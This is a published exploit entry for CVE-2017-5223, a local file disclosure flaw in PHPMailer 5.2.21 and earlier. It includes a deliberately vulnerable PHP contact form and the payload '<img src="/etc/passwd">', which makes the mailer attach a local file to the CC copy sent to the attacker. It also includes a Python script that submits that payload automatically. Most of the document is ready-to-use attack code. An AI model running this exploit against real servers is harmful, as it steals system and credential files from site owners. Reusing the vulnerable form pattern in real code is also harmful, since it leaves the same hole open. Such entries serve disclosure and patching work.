PHPMailer 5.2.21 Local File Disclosure

`# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)  
# Date: 2017-10-25  
# Exploit Author: Maciek Krupa  
# All credit only to Yongxiang Li of Asiasecurity  
# Software Link: https://github.com/PHPMailer/PHPMailer  
# Version: 5.2.21  
# Tested on: Linux Debian 9  
# CVE : CVE-2017-5223  
  
// PoC //  
  
It requires a contact form that sends HTML emails and allows to send a copy to your e-mail  
  
// vulnerable form example //  
  
<?php  
require_once('class.phpmailer.php'); // PHPMailer <= 5.2.21  
if (isset($_POST['your-name'], $_POST['your-email'], $_POST['your-message'])) {  
$mail = new PHPMailer();  
$mail->SetFrom($_POST["your-email"], $_POST["your-name"]);  
$address = "admin@localhost";  
$mail->AddAddress($address, "root");  
if (isset($_POST['cc'])) $mail->AddCC($_POST["your-email"], $_POST["your-name"]);  
$mail->Subject = "PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)";  
$mail->MsgHTML($_POST["your-message"]);  
if(!$mail->Send()) echo "Error: ".$mail->ErrorInfo; else echo "Sent!";  
}  
?>  
<form action="/contact.php" method="post">  
<p><label>Your Name<br /><input type="text" name="your-name" value="" size="40" /></span> </label></p>  
<p><label>Your Email<br /><input type="email" name="your-email" value="" size="40" /></span> </label></p>  
<p><label>Your Message<br /><textarea name="your-message" cols="40" rows="10"></textarea></label></p>  
<p><input type="checkbox" name="cc" value="yes" /><span>Send me a copy of this message</span>  
<p><input type="submit" value="submit" /></p>  
  
// exploit //  
  
Put <img src="/etc/passwd"> in the message (or other file to disclose).  
  
// python code //  
  
#!/usr/bin/python  
import urllib  
import urllib2  
  
poc = """  
# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)  
# Date: 2017-10-25  
# Exploit Author: Maciek Krupa  
# All credit only to Yongxiang Li of Asiasecurity  
# Software Link: https://github.com/PHPMailer/PHPMailer  
# Version: 5.2.21  
# Tested on: Linux Debian 9  
# CVE : CVE-2017-5223  
"""  
  
url = 'http://localhost/contact.php'  
email = 'attacker@localhost'  
payload = '<img src="/etc/passwd"'  
values = {'action': 'send', 'your-name': 'Attacker', 'your-email': email, 'cc': 'yes', 'your-message': payload}  
data = urllib.urlencode(values)  
req = urllib2.Request(url, data)  
response = urllib2.urlopen(req)  
html = response.read()  
print html  
`